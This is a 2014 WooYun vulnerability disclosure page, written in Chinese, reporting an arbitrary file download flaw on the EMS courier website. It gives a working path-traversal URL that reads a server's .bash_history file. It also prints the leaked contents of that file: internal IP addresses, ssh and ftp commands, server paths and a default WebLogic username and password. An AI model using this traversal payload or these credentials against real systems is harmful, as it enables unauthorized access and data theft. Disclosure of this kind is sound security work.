当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-048714

漏洞标题：EMS官网任意下载漏洞

相关厂商：中国邮政集团公司信息技术局

漏洞作者： 陆小凤

提交时间：2014-01-16 11:09

修复时间：2014-03-02 11:10

公开时间：2014-03-02 11:10

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-16： 细节已通知厂商并且等待厂商处理中
2014-01-16： 厂商已经确认，细节仅向厂商公开
2014-01-26： 细节向核心白帽子及相关领域专家公开
2014-02-05： 细节向普通白帽子公开
2014-02-15： 细节向实习白帽子公开
2014-03-02： 细节向公众公开

简要描述：

标题写的挺清楚了，P大个漏洞，内部结构、订单号什么的都看不到

详细说明：

[weblogic@web ~]$ ssh weblogic@10.3.11.*
weblogic@10.3.11.4's password: 
c-bash-2.05b$ cd /opt/bea/partnerLog/
-bash-2.05b$ ll
总用量 0
-bash-2.05b$ pwd
/opt/bea/partnerLog
-bash-2.05b$ ll
总用量 0
-bash-2.05b$ 
cd /opt/bea/partnerLog/
ll
grep 'LN090374485CN' partner.*
df -h
/opt/bea/partnerLog/partner.api.log    √
/opt/bea/app/nodemanager/bea/partnerLog/partner.api.log
/opt/bea/app/ems_internet/emsadmin/runadmin.sh  √
/opt/bea/app/ems_internet/emsadmin/startadmin.sh  √
/opt/bea/weblogic91/server/lib/weblogic.policy  √
/opt/bea/app/ems_internet/emsadmin/ems.log  √
/opt/bea/app/ems_internet/emsadmin/nohup.out √ 很大
/weblogic/application/defaults/Web
/opt/bea/weblogic91/server/lib/consoleapp/META-INF/weblogic-application.xml √
/opt/bea/emsService/
ftp 10.3.11.27
/sbin/config
ssh partner@10.3.11.27
WLS_USER="weblogic"
WLS_PW="weblogic"


这个是搜集的响应信息，不知道需不需要打码，管理员编辑吧

漏洞证明：

http://www.ems.com.cn:8091/newsAction.do?reqCode=showNewsUploadFile&showFileName=../../../../../../../../../../../../../../../opt/bea/.bash_history

1.png

修复方案：

把剑心的快递全扔了即可

版权声明：转载请注明来源 陆小凤@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-01-16 12:19

厂商回复：

谢谢。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-01-16 12:58 | hacker@sina.cn ( 普通白帽子 | Rank:288 漏洞数:27 | ANONYMOUS)

    呵呵呵呵呵 呵呵呵呵呵 呵呵呵呵

  2. 2014-02-06 01:05 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    给剑心这名字查不到的…要给方总的名字